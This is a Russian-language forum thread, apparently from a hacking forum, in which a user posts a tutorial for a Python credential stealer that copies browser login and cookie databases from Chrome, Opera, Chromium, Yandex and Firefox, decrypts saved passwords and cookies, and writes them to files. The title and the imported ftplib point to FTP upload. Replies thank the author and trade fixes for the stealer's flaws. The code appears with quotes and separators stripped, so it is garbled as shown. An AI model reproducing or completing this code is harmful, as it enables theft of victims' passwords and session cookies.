Пишем свой stealer на Python с отправкой на FTP-сервер

Тема в разделе "Программирование", создана пользователем Miron_T31, 2 авг 2019.

  1. Miron_T31

    Miron_T31 Member

    Сообщения:
    314
    Симпатии:
    0
    Привет всем!Как погодка?)
    Сегодня я бы хотел показать ,как можно написать самый простой stealer на Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как)
    Для начала нам нужен FTP сервер,я буду юзать по скольку он бесплатный,халява)
    Итак ,для начала нам нужно импортировать модули
    Python:
    import os
    import sqlite3
    import win32crypt
    import shutil
    import zipfile
    import ftplib
    Тут все просто ,модуль os для работы с директориями и удалением следов. Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями , zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки архива с паролями на ftp-сервер
    Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему
    Python:
    user_name = os.getlogin()
    Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и расшифровывать БД ,а также искать куки
    Python:
    def Chrome():
    text = Passwords Google_Chrome: +

    if os.path.exists(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultLogin Data):
    shutil.copy2(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultLogin Data, os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultLogin Data2)

    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultLogin Data2)
    cursor = conn.cursor()
    cursor.execute(SELECT action_url, username_value, password_value FROM logins)
    for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2])[1].decode()
    login = result[1]
    url = result[0]
    if password != :
    text +=
    URL: + url +
    LOGIN: + login +
    PASSWORD: + password +

    return text
    file = open(os.getenv(APPDATA) + pass_google_chrome.txt, w+)
    file.write(str(Chrome()) +
    )
    file.close()

    def Chrome_cockie():
    textc = Cookies Chrome: +

    textc += URL | COOKIE | COOKIE NAME +

    if os.path.exists(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies):
    shutil.copy2(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies, os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies2)
    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies2)
    cursor = conn.cursor()
    cursor.execute(SELECT * from cookies)
    for result in cursor.fetchall():
    cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
    name = result[2]
    url = result[1]
    textc += url + | + str(cookie) + | + name +

    return textc
    file = open(os.getenv(APPDATA) + google_cookies.txt, w+) #данные
    file.write(str(Chrome_cockie()) +
    )
    file.close()

    def Opera():
    texto = Passwords Opera: +

    texto += URL | LOGIN | PASSWORD +

    if os.path.exists(os.getenv(APPDATA) + Opera SoftwareOpera StableLogin Data):
    shutil.copy2(os.getenv(APPDATA) + Opera SoftwareOpera StableLogin Data, os.getenv(APPDATA) + Opera SoftwareOpera StableLogin Data2)
    conn = sqlite3.connect(os.getenv(APPDATA) + Opera SoftwareOpera StableLogin Data2)
    cursor = conn.cursor()
    cursor.execute(SELECT action_url, username_value, password_value FROM logins)
    for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2])[1].decode()
    login = result[1]
    url = result[0]
    if password != :
    texto +=
    URL: + url +
    LOGIN: + login +
    PASSWORD: + password +

    file = open(os.getenv(APPDATA) + pass_opera.txt, w+)
    file.write(str(Opera()) +
    )
    file.close()

    def chromium():
    textch = Chromium Passwords: +

    textch += URL | LOGIN | PASSWORD +

    if os.path.exists(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefault):
    shutil.copy2(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultLogin Data, os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultLogin Data2)
    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultLogin Data2)
    cursor = conn.cursor()
    cursor.execute(SELECT action_url, username_value, password_value FROM logins)
    for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2])[1].decode()
    login = result[1]
    url = result[0]
    if password != :
    textch += url + | + login + | + password +

    return textch
    file = open(os.getenv(APPDATA) + chromium.txt, w+)
    file.write(str(chromium()) +
    )
    file.close()

    def Yandex():
    texty = YANDEX Cookies: +

    texty += URL | COOKIE | COOKIE NAME +

    if os.path.exists(os.getenv(LOCALAPPDATA) + YandexYandexBrowserUser DataDefaultCookies):
    shutil.copy2(os.getenv(LOCALAPPDATA) + YandexYandexBrowserUser DataDefaultCookies, os.getenv(LOCALAPPDATA) + YandexYandexBrowserUser DataDefaultCookies2)
    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + YandexYandexBrowserUser DataDefaultCookies2)
    cursor = conn.cursor()
    cursor.execute(SELECT * from cookies)
    for result in cursor.fetchall():
    cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
    name = result[2]
    url = result[1]
    texty += url + | + str(cookie) + | + name +

    return texty
    file = open(os.getenv(APPDATA) + yandex_cookies.txt, w+)
    file.write(str(Yandex()) +
    )
    file.close()

    def Firefox():
    textf =
    textf += Firefox Cookies: +

    textf += URL | COOKIE | COOKIE NAME +

    for root, dirs, files in os.walk(os.getenv(APPDATA) + MozillaFirefoxProfiles):
    for name in dirs:
    conn = sqlite3.connect(os.path.join(root, name)+cookies.sqlite)
    cursor = conn.cursor()
    cursor.execute(SELECT baseDomain, value, name FROM moz_cookies)
    data = cursor.fetchall()
    for i in range(len(data)):
    url, cookie, name = data
    textf += url + | + str(cookie) + | + name +

    break
    return textf
    file = open(os.getenv(APPDATA) + firefox_cookies.txt, w+)
    file.write(str(Firefox()) +
    )
    file.close()

    def chromiumc():
    textchc =
    textchc += Chromium Cookies: +

    textchc += URL | COOKIE | COOKIE NAME +

    if os.path.exists(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultCookies):
    shutil.copy2(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultCookies, os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultCookies2)
    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + ChromiumUser DataDefaultCookies2)
    cursor = conn.cursor()
    cursor.execute(SELECT * from cookies)
    for result in cursor.fetchall():
    cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
    name = result[2]
    url = result[1]
    textchc += url + | + str(cookie) + | + name +

    return textchc
    file = open(os.getenv(APPDATA) + chromium_cookies.txt, w+)
    file.write(str(chromiumc()) +
    )
    file.close()

    def Opera_c():
    textoc =
    + Cookies Opera: +

    textoc += URL | COOKIE | COOKIE NAME +

    if os.path.exists(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies):
    shutil.copy2(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies, os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies2)
    conn = sqlite3.connect(os.getenv(LOCALAPPDATA) + GoogleChromeUser DataDefaultCookies2)
    cursor = conn.cursor()
  2. ZeroByte

    ZeroByte New Member

    Сообщения:
    253
    Симпатии:
    0
    Не буду спрашивать что тебе мешало написать гейт для аплода логов вместо хранения данных входа

    Однозначно тема заслуживает лайка, спасибо!
  3. _TheSameMadzha_

    _TheSameMadzha_ New Member

    Сообщения:
    6
    Симпатии:
    0
    Помню давненько была наподобие статья только там чел шкодил на делфи и это был фтп стиллер паролей. Может у кого-то завалялся линк на эту статью
  4. 4elo8ek

    4elo8ek New Member

    Сообщения:
    27
    Симпатии:
    0
    Эхх я раньше тоже писал на делфи.. В году так 2015... Было время, а потом я понял что я олень и надо было учить с++

    (ответ к коменту выше)
  5. Minimalist

    Minimalist New Member

    Сообщения:
    135
    Симпатии:
    0
    C++ ДЛЯ БОГОВ!!
  6. SmieleME

    SmieleME New Member

    Сообщения:
    182
    Симпатии:
    0
  7. Ya2Ja

    Ya2Ja New Member

    Сообщения:
    6
    Симпатии:
    0
    Спасибо, помог, но, я не могу не заметить пару небольших минусов:
    1. Диск D не всегда доступен, на 10 Windows, происходит ошибка прав доступа, так что нужно допилить, если чё пишите мне в лс я помогу
    2. Проблема с Firefox, файлы firefox он не парсит, эту проблему мне было лень решать
    3. Файлы заменяют друг друга, таким образом что у вас на сервере будет всегда только один файл с логами а старые удаляются
    Но все выше описные проблемы решаются, и не так уж и сложно
  8. sway

    sway New Member

    Сообщения:
    1
    Симпатии:
    0
    ты можешь сказать какие сколько .py файлов должно быть? я для каждой вставки кода создал отдельный файл,ничего не выходит
  9. Miron_T31

    Miron_T31 Member

    Сообщения:
    314
    Симпатии:
    0
    должен быть один файл с расширением .py
    Я просто вырезал отдельные куски кода и прокомментировал их
  10. Ya2Ja

    Ya2Ja New Member

    Сообщения:
    6
    Симпатии:
    0
    Отпишись в лс, я тебе код отправлю
  11. DarkMatter

    DarkMatter New Member

    Сообщения:
    8
    Симпатии:
    0
    А как решить траблу -
    1. Файлы заменяют друг друга, таким образом что у вас на сервере будет всегда только один файл с логами а старые удаляются
    ?
  12. Miron_T31

    Miron_T31 Member

    Сообщения:
    314
    Симпатии:
    0
    Импортируй модуль random, и сделай генерацию имен к файлу, и каждый раз будут файлы с разными именами
  13. Bitcon29

    Bitcon29 New Member

    Сообщения:
    26
    Симпатии:
    0
    Если скомпилировать на linux то только на нём и будет запускаться?

Поделиться этой страницей